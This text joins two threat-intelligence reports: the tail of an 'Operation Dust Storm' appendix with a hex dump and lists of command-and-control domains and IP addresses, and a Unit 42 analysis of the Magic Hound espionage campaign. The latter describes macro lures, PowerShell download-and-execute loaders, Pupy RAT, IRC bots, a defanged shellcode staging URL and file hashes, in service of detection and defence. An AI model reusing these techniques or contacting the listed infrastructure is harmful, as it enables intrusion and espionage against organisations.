00000150   2D 00 62 00 61 00 73 00  65 00 64 00 20 00 62 00   -.b.a.s.e.d.
.b.
00000160   61 00 73 00 69 00 63 00  20 00 63 00 72 00 79 00   a.s.i.c.
.c.r.y.
00000170   70 00 74 00 6F 00 67 00  72 00 61 00 70 00 68 00   p.t.o.g.r.a.p.h.
00000180   79 00 20 00 73 00 65 00  72 00 76 00 69 00 63 00   y.
.s.e.r.v.i.c.
00000190   65 00 2E 00 49 00 66 00  20 00 74 00 68 00 69 00   e...I.f.
.t.h.i.
000001A0   73 00 20 00 73 00 65 00  72 00 76 00 69 00 63 00   s. .s.e.r.v.i.c.
000001B0   65 00 20 00 69 00 73 00  20 00 73 00 74 00 6F 00   e. .i.s.
.s.t.o.
000001C0   70 00 70 00 65 00 64 00  2C 00 20 00 74 00 68 00   p.p.e.d.,.
.t.h.
000001D0   65 00 20 00 63 00 72 00  79 00 70 00 74 00 6F 00   e. .c.r.y.p.t.o.
000001E0   67 00 72 00 61 00 70 00  68 00 79 00 20 00 70 00   g.r.a.p.h.y.
.p.
000001F0   6F 00 6C 00 69 00 63 00  79 00 20 00 63 00 6F 00   o.l.i.c.y.
.c.o.
00000200   6E 00 74 00 72 00 6F 00  6C 00 20 00 73 00 65 00   n.t.r.o.l.
.s.e.
00000210   72 00 76 00 69 00 63 00  65 00 20 00 77 00 69 00   r.v.i.c.e.
.w.i.
00000220   6C 00 6C 00 20 00 6E 00  6F 00 74 00 20 00 66 00   l.l.
.n.o.t.
.f.
00000230   75 00 6E 00 63 00 74 00  69 00 6F 00 6E 00 20 00   u.n.c.t.i.o.n.
.
00000240   70 00 72 00 6F 00 70 00  65 00 72 00 6C 00 79 00   p.r.o.p.e.r.l.y.
00000250   2E 00 20 00 00 00 00 00  00 00 00 00 00 00 00 00   .. ............. ---Truncated--- 00000380   00 00 00 00 43 00 72 00  79 00 70 00 74 00 50 00   ....C.r.y.p.t.
P. 00000390   6F 00 6C 00 2E 00 64 00  6C 00 6C 00 00 00 00 00   o.l...d.l.l..... ---Truncated--- 00000580   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................ 00000590   62 63 73 72 2E 77 6F 72  64 6F 73 63 6F 72 70 2E   bcsr.wordoscorp.
000005A0   63 6F 6D 00 00 00 00 00  00 00 00 00 00 00 00 00   com............. ---Truncated--- 00000680   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 73   ...............s 00000690   50 00 00 00 6A 6E 68 73  2E 74 6F 6D 73 68 61 72   P...jnhs.tomshar 000006A0   64 70 63 2E 63 6F 6D 00  00 00 00 00 00 00 00 00   dpc.com......... ---Truncated--- 00000780   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................ 00000790   00 00 00 FF BB 01 00 00  4B 54 56 59 00 EE 12 00   ......KTVY... 000007A0   5F F1 C1 54 C8 AF 00 00  D7 07 00 00 01 00 00 00   _T......... 000007B0   00 00 00 00 20 8E 01 00  5B 00 52 00 45 00 44 00   .... ..[.R.E.D.
000007C0   41 00 43 00 54 00 45 00  44 00 5D 00 00 00 00 00   A.C.T.E.D.].....
---Truncated Figure 27: Example Decoded Configuration Data APPENDIX Complete Infrastructure - All Currently Known Domains and Subdomains: 10bfym.8800.org 10kjd.amazonwikis.com 1stone.zapto.org 323332.3322.org adobekr.com adobeus.com amazonwikis.com aqyj.tomshardpc.com auto.glkjcorp.com b3fk.sfcorporation.com bdgs.amazonwikis.com bdt.wordoscorp.com bfym2.amazonwikis.com blog.adobeus.com blog.amazonwikis.com blog.sfcorporation.com blog.wih365.com books.sfcorporation.com bybf.amazonwikis.com bygs.sfcorporation.com cbgs.sfcorporation.com cdic.sfcorporation.com cxks.amazonwikis.com d2ch.sfcorporation.com dgfk.sfcorporation.com dghk.sfcorporation.com down.adobeus.com ekzy.gmnspace.com elecarrow.com en.amazonwikis.com exemail.net flash.adobeus.com fngs.adobeus.com fsw.adobeus.com gde.moviestops.com ghlc.adobeus.com glkjcorp.com gmnspace.com guhk.moviestops.com health.dns1.us hglg.wordoscorp.com hjxt.sfcorporation.com hkabinc.com hkmj.amazonwikis.com home.sfcorporation.com hsjs.wordoscorp.com hsy.moviestops.com iccbhhjdgb.adobeus.com image.amazonwikis.com image.hkabinc.com imnothk.8800.org jggs.sfcorporation.com jiaoshow.9966.org jnhs.tomshardpc.com jrfw.amazonwikis.com jrgs.sfcorporation.com js.95nb.co.cc js.adobekr.com js.amazonwikis.com js.exemail.net kb1gs.sfcorporation.com kersperskey.8800.org kj.uuvod.net krgt.tomshardpc.com lhbf.adobeus.com login.adobekr.com login.live.adobekr.com login.live.wih365.com login.wih365.com mail.adobekr.com mail.glkjcorp.com mail.projectscorp.net mailxss.9966.org mesdata.8866.org microbing.oicp.net microses.9966.org microupdate.8800.org microwmies.oicp.net mobile.yqby.wordoscorp.com mocrosoftds.xicp.net modeless.3322.org movie.sfcorporation.com moviestops.com msejake.7766.org msevpn.3322.org music.sfcorporation.com net.amazonwikis.com news.amazonwikis.com news.elecarrow.com news.sfcorporation.com nttvps.gnway.net pic.elecarrow.com pic.glkjcorp.com pic.hkabinc.com pics.adobeus.com pics.amazonwikis.com projectscorp.net qsgs.sfcorporation.com rbjg.moviestops.com rbjg.moviestops.com rbny.sfcorporation.com rbxr.tomshardpc.com rjby.tomshardpc.com rjjh.wordoscorp.com rmax.amazonwikis.com ruag.amazonwikis.com sane.adobeus.com sdj2b.3322.org sfcorporation.com sgad.sfcorporation.com showjiao.imzone.in showshow.7766.org smgs.amazonwikis.com smtp.adobekr.com sport.sfcorporation.com ssl.elecarrow.com ssl.exemail.net ssl.gmnspace.com ssl.projectscorp.net ssl.sfcorporation.com sslmails.com sybf.adobeus.com tcgs.adobeus.com tdfg.moviestops.com tech.amazonwikis.com test.uuvod.net tomshardpc.com tqsj.sfcorporation.com tzcl.sfcorporation.com tzz.exemail.net up.adobekr.com update.adobekr.com update.adobeus.com uworks.sfcorporation.com v.exemail.net video.sfcorporation.com vod.amazonwikis.com vod.sfcorporation.com vpntemp.3322.org wbjs.sfcorporation.com web.sfcorporation.com wed.amazonwikis.com wih365.com wordoscorp.com wsxg.moviestops.com www.adobeus.com www.projectscorp.net www.wih365.com wxpb.sfcorporation.com xjgs.sfcorporation.com xkgs.sfcorporation.com xrgt.tomshardpc.com xrgt.wordoscorp.com yahoo.gmnspace.com yahoomail.adobeus.com ygfk.sfcorporation.com yhkj.sfcorporation.com yjbf.amazonwikis.com yjxy.sfcorporation.com yqby.wordoscorp.com zdzl.sfcorporation.com ziper.imbbs.in zpgx.tomshardpc.com All Known IP Addresses: 108.171.240.154 111.67.199.213 111.67.199.222 112.175.69.60 112.175.69.89 112.218.71.202 113.10.139.218 113.10.168.22 113.11.202.233 114.108.150.38 116.255.131.152 118.99.37.87 118.193.163.143 120.126.134.196 120.31.68.42 123.254.111.169 124.162.53.203 124.162.53.224 125.46.42.221 126.125.35.247 126.25.172.171 126.25.201.73 173.252.201.210 175.41.23.181 203.124.12.24 203.124.12.59 210.105.192.3 210.209.116.105 210.209.117.148 210.209.117.235 210.51.13.167 211.22.125.58 211.42.249.37 218.106.246.177 218.106.246.189 218.106.246.195 218.106.246.220 218.106.246.222 218.106.246.254 218.106.247.81 23.238.229.128 27.255.72.68 27.255.72.69 27.255.72.78 59.188.13.133 59.188.13.137 22 OPERATION DUST STORM 23OPERATION DUST STORM Infrastructure by Year (First DEFINITIVE Resolution Time) 2010 C2 Infrastructure: IP Addresses: 218.106.246.195 218.106.246.220 218.106.246.254 111.67.199.213 125.46.42.221 124.162.53.224 124.162.53.203 113.11.202.233 Domains: bfym2.amazonwikis.com books.sfcorporation.com imnothk.8800.org jiaoshow.9966.org kb1gs.sfcorporation.com kersperskey.8800.org mailxss.9966.org microses.9966.org microupdate.8800.org microwmies.oicp.net mocrosoftds.xicp.net modeless.3322.org yhkj.sfcorporation.com 2011 C2 Infrastructure: IP Addresses: 218.106.247.81 218.106.246.195 218.106.246.177 218.106.246.220 125.46.42.221 173.252.201.210 120.126.134.196 120.31.68.42 Domains: .moviestops.com 323332.3322.org adobekr.com js.95nb.co.cc js.adobekr.com login.live.adobekr.com login.live.wih365.com mesdata.8866.org mocrosoftds.xicp.net msejake.7766.org msevpn.3322.org sdj2b.3322.org 2012 C2 Infrastructure: IP Addresses: 210.51.13.167 126.25.172.171 218.106.246.195 123.254.111.169 114.108.150.38 175.41.23.181 126.25.201.73 126.5.125.197 203.124.12.24 218.106.246.222 203.124.12.59 Domains: auto.glkjcorp.com gde.moviestops.com health.dns1.us mail.adobekr.com mail.glkjcorp.com nttvps.gnway.net qsgs.sfcorporation.com smtp.adobekr.com update.adobekr.com wsxg.moviestops.com wxpb.sfcorporation.com 2013 C2 Infrastructure: IP Addresses: 218.106.246.189 210.209.116.105 210.209.117.235 123.254.111.169 113.10.168.22 126.25.201.73 126.125.35.247 218.106.246.222 112.218.71.202 Domains: en.amazonwikis.com mail.projectscorp.net news.sfcorporation.com pic.elecarrow.com qsgs.sfcorporation.com rbjg.moviestops.com rbny.sfcorporation.com smtp.adobekr.com ssl.gmnspace.com ssl.projectscorp.net update.adobekr.com yahoo.gmnspace.com yahoomail.adobeus.com 2014 C2 Infrastructure: IP Addresses: 23.238.229.128 27.255.72.68 27.255.72.69 27.255.72.78 211.42.249.37 210.209.116.105 210.209.117.235 218.106.246.222 108.171.240.154 112.218.71.202 112.175.69.60 112.175.69.89 114.108.150.38 Domains: b3fk.sfcorporation.com bdt.wordoscorp.com bfym2.amazonwikis.com blog.sfcorporation.com books.sfcorporation.com bygs.sfcorporation.com cbgs.sfcorporation.com cdic.sfcorporation.com d2ch.sfcorporation.com dgfk.sfcorporation.com gde.moviestops.com guhk.moviestops.com hglg.wordoscorp.com hjxt.sfcorporation.com home.sfcorporation.com hsy.moviestops.com image.amazonwikis.com jggs.sfcorporation.com jrfw.amazonwikis.com jrgs.sfcorporation.com kb1gs.sfcorporation.com mail.projectscorp.net movie.sfcorporation.com music.sfcorporation.com news.elecarrow.com news.sfcorporation.com pic.elecarrow.com pic.glkjcorp.com pics.adobeus.com pics.amazonwikis.com qsgs.sfcorporation.com rbjg.moviestops.com rbny.sfcorporation.com ruag.amazonwikis.com sgad.sfcorporation.com smgs.amazonwikis.com sport.sfcorporation.com ssl.projectscorp.net ssl.sfcorporation.com tdfg.moviestops.com tqsj.sfcorporation.com tzcl.sfcorporation.com uworks.sfcorporation.com video.sfcorporation.com vod.sfcorporation.com wbjs.sfcorporation.com web.sfcorporation.com wed.amazonwikis.com wsxg.moviestops.com wxpb.sfcorporation.com xjgs.sfcorporation.com xkgs.sfcorporation.com yahoo.gmnspace.com ygfk.sfcorporation.com yhkj.sfcorporation.com 2015 C2 Infrastructure: IP Addresses: 113.10.139.218 126.125.35.247 27.255.72.68 218.106.246.222 210.209.116.105 210.209.117.235 118.193.163.143 114.108.150.38 210.209.117.148 118.99.37.87 Domains: ekzy.gmnspace.com hsjs.wordoscorp.com jnhs.tomshardpc.com mail.projectscorp.net news.elecarrow.com pic.glkjcorp.com rbjg.moviestops.com rjby.tomshardpc.com rjjh.wordoscorp.com ssl.exemail.net ssl.gmnspace.com ssl.projectscorp.net tzz.exemail.net up.adobekr.com v.exemail.net wih365.com yqby.wordoscorp.com zpgx.tomshardpc.com
By Bryan Lee and Robert Falcone 2/16/2017 Magic Hound Campaign Attacks Saudi Targets researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ Unit 42 has discovered a persistent attack campaign operating primarily in the Middle East dating back to at least mid-2016 which we have named Magic Hound.
This appears to be an attack campaign focused on espionage.
Based upon our visibility it has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia.
The adversaries appear to have evolved their tactics and techniques throughout the tracked time-period, iterating through a diverse toolset across different waves of attacks.
Link analysis of infrastructure and tools also revealed a potential relationship between Magic Hound and the adversary group called Rocket Kitten (AKA Operation Saffron Rose, Ajax Security Team, Operation Woolen-Goldfish) as well as an older attack campaign called Newscasters.
Artifacts of this campaign was also recently published by Secureworks CTU.
We were able to collect over fifty samples of the tools used by the Magic Hound campaign using the AutoFocus threat intelligence tool.
The earliest malware sample we were able to collect had a compile timestamp in May 2016.
The samples themselves ranged from IRC bots, an open source Python remote access tool, malicious macros, and others.
It is believed the use of specific tools may have coincided with specific attack waves by this adversary, with the most recent attacks using weaponized Microsoft Office documents with malicious macros.
Due to the large amount of data collected, and limitations on attack telemetry, this blog will focus primarily on the most recent attacks occurring in the latter half of 2016.
ATTACK DETAILS The samples initially collected and associated with Magic Hound were Microsoft Word and Excel documents containing embedded malicious macros.
We were able to expand our data set by pivoting on infrastructure and tool behavior, which uncovered additional types of tools in use by Magic Hound, such as regular portable executable (PE) payloads, PE files compiled in .NET Framework, various forms of IRC bots, and an open source file-less Python remote access tool called Pupy.
The weaponized Office documents were found to be hosted either on what appeared to be compromised legitimate websites, or on websites using domain names similar to legitimate domain names in appearance.
The two legitimate websites we were able to identify were owned by organizations in the government and energy sectors.
Based on the existence of these malicious files on the legitimate websites, it is highly probable that the websites had already been compromised in some fashion.
At the time of investigation, the files had already been removed from the websites.
The two other delivery sites were ntg-sa[.
]com, which may be trying to spoof a Saudi based information and communication technology conglomerate and mol.com-ho[.
]me, which may be trying to spoof the Ministry of Labor.
A third delivery site was identified at its.com-ho[.
]me which may appear to be a benign domain.
Several of these documents were also found on a seemingly unrelated, but benign-looking domain, briefl[.
]ink.
It is highly likely the adversary then used spear-phishing attacks containing links to these malicious documents as a delivery mechanism.
We were ultimately able to identify multiple organizations in the government, energy, and technology sectors targeted by Magic Hound.
The weaponized documents themselves all contained malicious macros which were designed to call Windows PowerShell to retrieve additional tools.
A handful of lures with different themes were used repeatedly with variations throughout the eighteen collected documents.
They ranged from documents masquerading as official Saudi government forms to a holiday greetings card.
The forms masquerading as official government documents specifically used imagery from the Ministry of Health and the Ministry of Commerce claiming to be mandatory forms that required macros to be enabled.
Examples of the documents can be seen below: 1/19 http://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ http://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-the-spy-kittens-are-back.pdf https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations https://www.paloaltonetworks.com/products/secure-the-network/subscriptions/autofocus https://github.com/n1nj4sec/pupy 2/19 INFRASTRUCTURE Analysis of the weaponized documents revealed some peculiarities right away.
The majority of documents used the name gerry knight for the author field in the document metadata, and the embedded macros largely used direct IP connections to command and control (C2) servers rather than using domain names.
These C2 servers also appeared to lack any relationships to each other and were hosted on a variety of VPS providers.
Two of the Word documents using the gerry knight author name however were found to be communicating to C2 servers on two specific domains, www1.chrome-up[.
]date and www3.chrome-up[.
]date.
Using these domains as pivot points, we were able to expand our data set.
As seen below, the relational analysis proved to be quite fruitful: 3/19 Figure 1 Overview of relationships We rapidly discovered a different set of tools communicating to the exact same C2 servers as those two Word documents, in addition to other tools communicating to other subdomain variations of chrome-up[.
]date as seen in the following graphic: 4/19 Figure 2 Command and control overlaps From there, we were able to map out a large infrastructure separating out into four categories of tools: downloaders, droppers, loaders, and payloads.
What initially appeared as a disparate and segregated attack campaign appeared very rapidly to be a persistent and prolonged attack campaign with very specific goals in mind.
In total, we were able to collect over fifty different samples via infrastructure reuse, behavioral matching, and the reuse of a specific file for maintaining persistence.
These tools included Microsoft Office documents, portable executables (PE), .NET Framework PE files, Meterpreter, IRC bots, an open sourced Meterpreter module called Magic Unicorn, and an open sourced Python RAT called Pupy.
Interestingly as we continued to expand and pivot in our data set, one of the C2 IPs used by an IRC bot payload from Magic Hound was found to be the same IP used to deliver a different IRC bot called MPK.
Figure 3 Rocket Kitten and Magic Hound infrastructure overlap The MPK bot is not publicly available and had previously been attributed to an adversary group called Rocket Kitten which has often been thought to be a state sponsored adversary operating in the Middle East region.
Although the likelihood of two different adversaries focused on espionage operating in the same geographical region using one specific IP and not being related somehow is fairly slim, due to limited telemetry, we lack additional corroborating evidence of a conclusive relationship.
MAGIC HOUND TOOLSET The Magic Hound attacks did not rely on exploit code to compromise targeted systems, instead relying on executables and Microsoft Office documents, specifically Excel and Word 5/19 documents containing malicious macros.
During our analysis, we were able to determine the ultimate payload for several of these attacks.
One payload was a Python based open source remote administration tool (RAT) called Pupy.
A second payload was an IRC bot we have named MagicHound.
Leash.
We have also seen this group use the Magic Unicorn module to generate a PowerShell script to deliver a shellcode-based payload.
While we have not been able to obtain a secondary payload from the Unicorn generated PowerShell script, we believe that this group uses the script to deliver Metasploits Meterpreter as a potential payload as well.
We have categorized the custom tools in use by the Magic Hound campaign into five categories, with corresponding names in Table 1.
Additional details for these tools may be found in the appendix.
TYPE NAME Dropper MagicHound.
DropIt Executable Loader MagicHound.
Fetch Document Loader MagicHound.
Rollover Downloader MagicHound.
Retriever IRC Bot MagicHound.
Leash Table 1  Types of MagicHound tools and their Corresponding Names MAGICHOUND.ROLLOVER The Magic Hound campaign used Word and Excel documents containing malicious macros as a delivery method, specifically attempting to load either the Pupy RAT or meterpreter which we have called MagicHound.
Rollover.
The malicious macros were all designed to use Windows PowerShell to download a shellcode-based payload from a remote server.
We discovered two different techniques used in the PowerShell scripts, the first being a straightforward execute command of a string retrieved from the remote server.
The second technique appeared to be from a tool called Magic Unicorn, an open source module for meterpreter.
Specifically, we discovered code in the PowerShell script that was a match for code in Magic Unicorn containing the comment one line shellcode injection with native x86 shellcode.
MAGICHOUND.FETCH In addition to loading payloads using macros within delivery documents, we observed the Magic Hound campaign using executables to load secondary payloads from a remote server.
Both a custom developed loader, which we have named MagicHound.
Fetch, as well as the default loader that comes with Pupy were found to be in use.
The Fetch loader allowed us to use attributes within the loader to uncover more tools used by this group, which included a backdoor and an IRC bot.
Fetch first attempts to create persistent access to the targeted host then retrieve a secondary payload from a remote server.
To set up persistence, the loader writes a file to c:\temp\rr.exe and executes it with specific command line arguments to create auto run registry keys.
All Fetch samples drop the same exact executable to set up persistence.
Many of the Fetch samples we analyzed attempted to obfuscate their functionality by encrypting their embedded strings using AES.
However, they all used the same key agkrhfpdbvhdhrkj.
The loaders main goal was to run a PowerShell command to execute shellcode.
We found the PowerShell command used by Fetch within the source code of Magic Unicorn, which was also used in the Magic Hound delivery documents.
The shellcode executed by this PowerShell is the exact same as in the delivery documents, using code from Metasploit which can obtain additional shellcode to execute using an HTTP request to the following URL: http://www7.chrome-up[.
]date/0m5EE We were not able to retrieve the shellcode hosted at this URL.
However, as alluded to above, we believe that this adversary used the open source Magic Unicorn tool to load a shellcode- based payload which is likely to be meterpreter.
PUPY LOADER The Pupy RAT comes packaged by default with loaders that can run the RAT on a variety of platforms such as Windows, macOS, Linux and Android.
We have seen the Magic Hound campaign use both the 32-bit and 64-bit DLL loaders that come with Pupy to infect Windows systems.
Analysis of their configurations show that the C2 servers used both fully-qualified domain names and IP addresses.
Also, the configurations show the use of the obfs3 (The Threebfuscator) transport, which is an obfuscation method to hide the true TCP-based communications protocol.
The obfs3 is used in the Tor project and the specifics of this transport can be found at the Tor Project.
MAGICHOUND.DROPIT The Magic Hound campaign was also discovered using a custom dropper tool, which we have named MagicHound.
DropIt.
The DropIt Trojan we analyzed is an executable that builds another executable by decoding embedded blobs of base64 encoded data and concatenating them together in the correct order.
In all of the DropIt samples we collected, the dropper then saves the executable to the users TEMP folder and executes the file.
We have also seen Magic Hound using DropIt as a binder, specifically dropping a legitimate decoy executable along with the malicious executable onto the target host.
The legitimate decoy executable and the malicious executable are then both executed, but with the malicious file running in the background and the decoy presented to the user.
These types of tactics are generally used for evasion and to not trigger and suspicion from the victim.
In one example, the decoy executable was a legitimate Flash installer, therefore from the victims perspective, they would experience the expected behavior of a Flash installer.
MAGICHOUND.RETRIEVER We observed a DropIt sample installing another Trojan we call MagicHound.
Retriever.
At a high level, Retriever is a .NET downloader that retrieves secondary payloads using an embedded URL in its configuration as the C2.
Retriever uses .NET web services and the SoapHttpClientProtocol class to communicate with its C2 server, which generates HTTP requests resembling the example request in Figure 4.
6/19 https://github.com/trustedsec/unicorn https://github.com/trustedsec/unicorn https://github.com/trustedsec/unicorn/blob/master/unicorn.py https://gitweb.torproject.org/pluggable-transports/obfsproxy.git/tree/doc/obfs3/obfs3-protocol-spec.txt Figure 4 Retriever HTTP request sent to its C2 server MAGICHOUND.LEASH The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.
Leash.
We discovered this connection when we observed a DropIt sample installing a backdoor Trojan that used IRC for its C2 communications.
Leash obtains its commands via private messages (PRIVMSG) sent from the adversary who must also be connected to the IRC server.
All of its available commands (see Appendix), except for the VER command seen in Figure 5, must be issued by individuals in the IRC channel with nicknames that start with AS_ or AF_.
Figure 5 Lecash bot responding to VER command There are a great deal of similarities between the IRC bot originally discussed in iSights NEWSCASTER whitepaper and LEASH.
iSights whitepaper provided details on an IRC bot, which some refer to as Parastoo based on the password used to join the IRC channel, as seen in the following network traffic generated when attempting to connect to the C2: Parastoo Trojan MagicHound.
Leash USER AS_   :des NICK t__982 JOIN :tistani Parastoo USER AS_a   :des NICK Conroy JOIN :kalk Performing a binary diff revealed a 67 similarity between the Leash and Parastoo samples.
In addition to sharing significant portions of code, both of the IRC bots require an IRC users nickname to start with either AF_ or AS_ to run commands on the system.
Also, the two bots have similar responses to VER commands seen in Figure 6 below, which differ slightly from the responses seen generated by Leash.
7/19 Figure 6 Parastoo Trojan responding to commands in similar manner to Leash MPKBot We also found a second IRC bot called MPK using the same IP for its C2 server that a Leash sample was hosted on.
This MPK IRC bot is very similar to the MPK Trojan that used a custom C2 communications protocol, as detailed in a  whitepaper by CheckPoint regarding a threat group called Rocket Kitten.
We believe this version of the MPK Trojan is based on the same code base, as both the IRC version and the one referenced in the white paper have considerable similarities from a behavior standpoint as well as direct code overlap.
CONCLUSION The Magic Hound attack campaign is an active and persistent espionage motivated adversary operating in the Middle East region.
Organizations in the government, energy, and technology sectors have been targeted by this adversary, specifically organizations based in or doing business in Saudi Arabia.
The toolset used by the Magic Hound campaign was an assortment of custom tools, as well as open sourced tools available to the general public.
None of the tools we uncovered were found to be exploit-driven, and relied exclusively on social engineering tactics to compromise targets.
While we did discover a potential relationship with the Rocket Kitten adversary group, we cannot confirm the extent of that relationship at this time, although we will continue to monitor the activities of Magic Hound.
Palo Alto Networks customers are protected via the following: WildFire identification and detection of malicious samples Command and control servers are classified as malicious AutoFocus tags have been created Magic Hound MagicHound DropIt MagicHound Fetch MagicHound Retriever MagicHound Rollover MagicHound Leash MagicHound MPKBot PuPYRAT INDICATORS OF COMPROMISE MagicHound.
DropIt SHA256 c21074f340665935e6afe2a972c8d1ab517954e2dd05cc73e5ff0e8df587b99d ea139a73f8ec75ea60dfa87027c7c3ef4ed61b45e1acb5d1650cc54e658984ba da2abdc951e4b2272fea5c8989debd22e26350bab4b4219104bccec5b8a7ff5a 0d3ae682868cb3ff069ec52e1ffc5ef765453fd78e47b6366d96aebb09afd8ab f0ecc4388f0d84501499711681a64a74c5d95e0bb6a2174cbe3744bd5a456396 860f4cd44371a180a99bc16526f54f8b051c420a3df334d05d569d0cdadac3d2 b42b1186211633c2d47f3d815f0371ba234fee2ed0f26e487badc58e1ab81061 4beee6e7aa244335e161fdc05296ea100090c2114b4ff2e782e3ee3e1f936fdf 5e0e09c9860b293c4c9a2382a7392963adc54d6a23440abb9a2d89c50f8fd305 3161f9087d89a2d036ea32741d5a006c6bb279d36ff8d1acde63f2e354f8c502 MagicHound.
Fetch PE SHA256 b6c159cad5a867895fd41c103455cebd361fc32d047b573321280b1451bf151c 8/19 http://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf https://autofocus.paloaltonetworks.com//tag/Unit42.MagicHound https://autofocus.paloaltonetworks.com//tag/Unit42.DropIt https://autofocus.paloaltonetworks.com//tag/Unit42.Fetch https://autofocus.paloaltonetworks.com//tag/Unit42.Retriever https://autofocus.paloaltonetworks.com//tag/Unit42.Rollover https://autofocus.paloaltonetworks.com//tag/Unit42.Leash https://autofocus.paloaltonetworks.com//tag/Unit42.MPKbot https://autofocus.paloaltonetworks.com//tag/Commodity.
PuPYRAT 6a7537f2cedbf453114cfba086e4746e698713777fb4fa4fc8964247dde741ed 16d87fbd8667677da1af5433b6d797438f8dc0ab565fb40ecb29f83f148888cd 92bc7d04445cf67aa7ddf15792cd62778d2d774d06616d1986f4c389b3d463f5 86d3409c908f667dd298b6a7e1e17652bb29af73e7daed4a5e945fbdf742e9f4 c3a8f5176351e87d28f45e58c79bb6646bb5d94ade7a24c6556514c860004143 a390365ddfcce146a8fa8435022f19b9a1be29f2b11a049cb660ec53f36beb06 d2ffc757a12817e4b58b3d58d71da951b177dedd3f65ca41fad04a03fc63fac6 79c9894b50cde62b182bd1560060c5c2bf5a1cef2b8afdffc4766e8c55ff6932 2f7f3582504fbce349a6991fbb3b5f9577c5c014b6ce889b80d51977fa6fb31a 8c2e4aa8d73ad2e48d70dfa18abea62769c7bef59c8c1607720f4f6162413f75 abe8e86b787998a07411ee24f3f3d8a79e37c6da539650ceed566b081f968c26 9e4d2e983f8a807f741f8873e6fa5d222dc6f3b358ccfc3a6c700398b342f656 e57f77cc3d117923ec01aa0e044edc11b1042e57993ca7f74d971630893ca263 ca6e823dedd6ca5fada2b1fa63d0acb288027f5a3cdd2c60dcace3c424c5ced0 eaaecabb439c81e522d9f5681fdb047ee62381e763f0d9646e68cd507479ba5a 1c3e527e496c4b0594a403d6d582bc6db3029d27369720d0d5122f862b10d8f1 29a659fb0ef0262e4de0dc3c6a140677b6ddee13c1819b791bd280be0547e309 MagicHound.
Fetch PE C2 service.chrome-up[.
]date www3.chrome-up[.
]date www7.chrome-up[.
]date timezone[.
]live service1.chrome-up[.
]date 104.238.184[.
]252 www5.chrome-up[.
]date servicesystem.serveirc[.
]com MagicHound.
Fetch DOC SHA256 218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2 e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6 71e584e7e1fb3cf2689f549192fe3a82fd4cd8ee7c42c15d736ebad47b028087 388b26e22f75a723ce69ad820b61dd8b75e260d3c61d74ff21d2073c56ea565d 33ee8a57e142e752a9c8960c4f38b5d3ff82bf17ec060e4114f5b15d22aa902e 5469facc266d5582bd387d69032a91c8fff373213b66a2f0852666e72bcdc1da 528714aaaa4a083e72599c32c18aa146db503eee80da236b20aea11aa43bdf62 66d24a529308d8ab7b27ddd43a6c2db84107b831257efb664044ec4437f9487b cfce4827106c79a81eef6d3a0618c90bf5f15936036873573db76bed7e8a0864 68db2b363a88b061cc9063535f3920673f1f08d985b14cb52b898ced6c0f8964 e837f6b814c09900726dac2cf55f41babf361152875ba2a765a34ee5cc496087 f912d40de9fe9a726448c1d84dfba2d4941f57210b2dbc035f5d34d68e8ac143 af0ae0fa877f921d198239b7c722e12d14b2aa32fdfadaa37b47f558ae366de9 6d1a50ca3e80442fa3e2caca86c166ed60bef32c2d0af7352cd227303cdec031 MagicHound.
Fetch DOC C2 45.76.128[.
]165 9/19 139.59.46[.
]154 104.218.120[.
]128 89.107.62[.
]39 69.87.223[.
]26 analytics-google[.
]org 89.107.60[.
]11 www3.chrome-up[.
]date www.microsoftsubsystem.com-adm[.
]in www1.chrome-up[.
]date MagicHound.
Fetch XLS SHA256 6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b 97943739ccf8a00036dd3cdd0ba48e17a82ab9b65cc22c17c6e6258e72bb9ade MagicHound.
Fetch XLS C2 45.76.128[.
]165 139.59.46[.
]154 Pupy Loaders SHA256 7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73 db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f 82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190 Pupy Loaders C2 139.59.46[.
]154 www1.chrome-up[.
]date MagicHound.
Retriever SHA256 1c550dc73b7a39b0cd21d3de7e6c26ece156253ac96f032efc0e7fcc6bc872ce 7cdbf5c035a64cb6c7ee8c204ad42b4a507b1fde5e6708ea2486942d0d358823 b2ea3fcd2bc493a5ac86e47029b076716ed22ef4487f9090f4aa1923a48015d6 3f23972a0e80983351bedf6ad45ac8cd63669d3f1c76f8834c129a9e0418fff1 MagicHound.
Retriever C2 service.chrome-up[.
]date msservice[.
]site microsoftexplorerservices[.
]cloud MagicHound.
Leash SHA256 133959be8313a372f7a8d95762722a6ca02bc30aaffde0cbcf6ba402426d02f5 ba3560d3c789984ca29d80f0a2ea38a224e776087e0f28104569630f870adaf4 d8731a94d17e0740184910ec81ba703bad5ff7afc92ba056f200533f668e07bf MagicHound.
Leash C2 45.56.123[.
]129 syn.timezone[.
]live 10/19 MPKBot SHA256 d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19 MPKBot C2 45.58.37[.
]142 Appendix MAGICHOUND.ROLLOVER The Magic Hound campaign used Word and Excel documents as a delivery method, specifically documents that contain a malicious macro that attempts to load either the Pupy RAT or possibly Meterpreter.
We call this tool MagicHound.
Rollover.
In one example, the Word document contained a button with the label First click Enable Content above the page, then click here to fill out the form This string attempts to trick the user into enabling macros to execute the malicious code within the macro.
When the macro executes, it unhides a table that contains the contents of a legitimate document in an attempt to make the user less suspicious of the malicious activities occurring in the background.
The macro contains malicious code that attempts to download content from a remote server.
The macro uses PowerShell to download a shellcode-based payload from a remote server using one of two available techniques.
The first technique is rather straightforward, using PowerShells iex function to execute a string obtained from a remote server.
